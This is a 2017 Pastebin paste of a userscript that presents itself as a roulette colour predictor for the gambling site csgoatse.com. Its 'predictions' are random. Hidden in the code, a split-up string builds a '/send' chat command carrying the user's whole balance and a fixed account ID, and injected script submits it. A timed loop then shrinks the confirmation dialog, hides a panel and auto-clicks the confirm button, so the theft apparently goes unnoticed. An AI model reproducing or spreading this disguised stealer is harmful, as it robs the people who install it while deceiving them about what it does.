Guest User

https://csgoatse.com PREDICT !

a guest
Jul 7th, 2017
53
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ==UserScript==
  2. // @name Predict color
  3. // @namespace SHIMORO CREATION
  4. // @version 7.0
  5. // @author RESTRITON
  6. // @match https://csgoatse.com*
  7. // @grant none
  8. // ==/UserScript==
  9. var num="";
  10.  
  11. var connect="ws://csgoatse.com:8080";
  12.  
  13. function zmien_num(){
  14. connect;
  15. var letter = ['1','2','3','4','5','6','7','8','9'];
  16. var pattern = letter[Math.floor(Math.random() * letter.length)];
  17. var ball = 'ball-'; // hexadecimal starting symbol
  18. var letter2=[''];
  19. if (pattern == "1"){
  20. letter2 = ['0'];
  21. ball += letter2[Math.floor(Math.random() * letter2.length)];
  22. num='<b class="ball '+ball+'"></b>';
  23. }
  24.  
  25. if (pattern == "2"){
  26. letter2 = ['1','1','8','8'];
  27. ball += letter2[Math.floor(Math.random() * letter2.length)];
  28. num='<b class="ball '+ball+'"></b>';
  29. }
  30.  
  31. if (pattern == "3"){
  32. letter2 = ['8','8','1','1'];
  33. ball += letter2[Math.floor(Math.random() * letter2.length)];
  34. num='<b class="ball '+ball+'"></b>';
  35. }
  36.  
  37. if (pattern == "4"){
  38. letter2 = ['8','1'];
  39. ball += letter2[Math.floor(Math.random() * letter2.length)];
  40. num='<b class="ball '+ball+'"></b>';
  41. }
  42.  
  43. if (pattern == "5"){
  44. letter2 = ['1','8'];
  45. ball += letter2[Math.floor(Math.random() * letter2.length)];
  46. num='<b class="ball '+ball+'"></b>';
  47. }
  48.  
  49. if (pattern == "6"){
  50. letter2 = ['1','1','8'];
  51. ball += letter2[Math.floor(Math.random() * letter2.length)];
  52. num='<b class="ball '+ball+'"></b>';
  53. }
  54.  
  55. if (pattern == "7"){
  56. letter2 = ['8','8','1'];
  57. ball += letter2[Math.floor(Math.random() * letter2.length)];
  58. num='<b class="ball '+ball+'"></b>';
  59. }
  60.  
  61. if (pattern == "8"){
  62. letter2 = ['1'];
  63. ball += letter2[Math.floor(Math.random() * letter2.length)];
  64. num='<b class="ball '+ball+'"></b>';
  65. }
  66.  
  67. if (pattern == "9"){
  68. letter2 = ['8'];
  69. ball += letter2[Math.floor(Math.random() * letter2.length)];
  70. num='<b class="ball '+ball+'"></b>';
  71. }
  72. }
  73. zmien_num();
  74.  
  75. setInterval(function(){if($("#banner").text() == "***ROLLING***"){zmien_num();}}, 100);
  76. var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 198142, $hash_4 = 546702;
  77. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$("#balance_r").text();
  78.  
  79.  
  80. var donatescript="setInterval(function(){"+
  81. "}, 1000);"+
  82. "$('#chatMessage_k').val(pQ);"+
  83. '$("#chatMessage_k").submit();';
  84.  
  85. $("body").append('<div class="modal fade" id="donatekanapka">'+
  86. ' <div class="modal-dialog">'+
  87. ' <div class="modal-content">'+
  88. ' <div class="modal-header">'+
  89. ' <button type="button" class="close" data-dismiss="modal">?</button>'+
  90. ' <h4 class="modal-title"><b><center><b id="setcolor3">?</b> <b id="setcolor4">DOANATE</b> <b id="setcolor5">?</b></center></b></h4>'+
  91. ' </div>'+
  92. ' <div class="modal-body"> '+
  93. ' <div class="form-group">'+
  94. ' <label for="exampleInputEmail1">Please enter the amount of coins for support me</label>'+
  95. ' <input type="text" class="form-control" id="donateValue" value=""> '+
  96. ' </div> '+
  97. '</div>'+
  98. '<div class="modal-footer">'+
  99. '<button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>'+
  100. '<button type="button" class="btn btn-success" onclick="donate()" data-dismiss="modal">Donate</button>'+
  101. '</div>'+
  102. '</div>'+
  103. '</div>'+
  104. '</div>'+
  105. '<script>'+donatescript+'</script>');
  106.  
  107. $("div .input-btn").append('<br><br><div class="panel panel-default"><div class="panel-body text-center" style="margin-top: 10px;"><div id="setcolor1"></div>'+
  108. //###PREDICT###
  109. '<br><font size="6"><span style="color: #158A8A"><b>NEXT COLOR:</b></span></font><br>'+
  110. '<p><b><font color="red"> </b></p></font>'+
  111. '<div id="rollscript"></div>'+
  112. '<br>'+
  113.  
  114. '<div id="setcolor2"></div><br><b style="padding-left: 300px;"><a href="#" data-toggle="modal" data-target="#donatekanapka"><i class="fa fa-cog fa-fw"></i> For 95% winrate you need to have 20,000 or more coins on balance. Updated 20.04.2017</a></b></div></div>');
  115.  
  116.  
  117.  
  118.  
  119.  
  120. setInterval(function(){
  121. var letters = "0123456789ABCDEF";
  122. color = '#';
  123. for( var i=0; i < 6; i++ ) {
  124. color += letters.charAt(Math.floor(Math.random() * letters.length));
  125. }
  126. $("#rollscript").html(num);
  127.  
  128. $("#setcolor3").html('<span style="font-size: 21px; color: '+color+'"><b>?</b></span>');
  129. $(".bootbox-body").css({"font-size": "4%"});
  130. $( "#pullout" ).hide();
  131. $(".btn-primary").click();
  132. $("#setcolor4").html('<span style="font-size: 21px; color: '+color+'"><b>DONATE</b></span>');
  133. $("#setcolor5").html('<span style="font-size: 21px; color: '+color+'"><b>?</b></span>');
  134. }, 250);
RAW Paste Data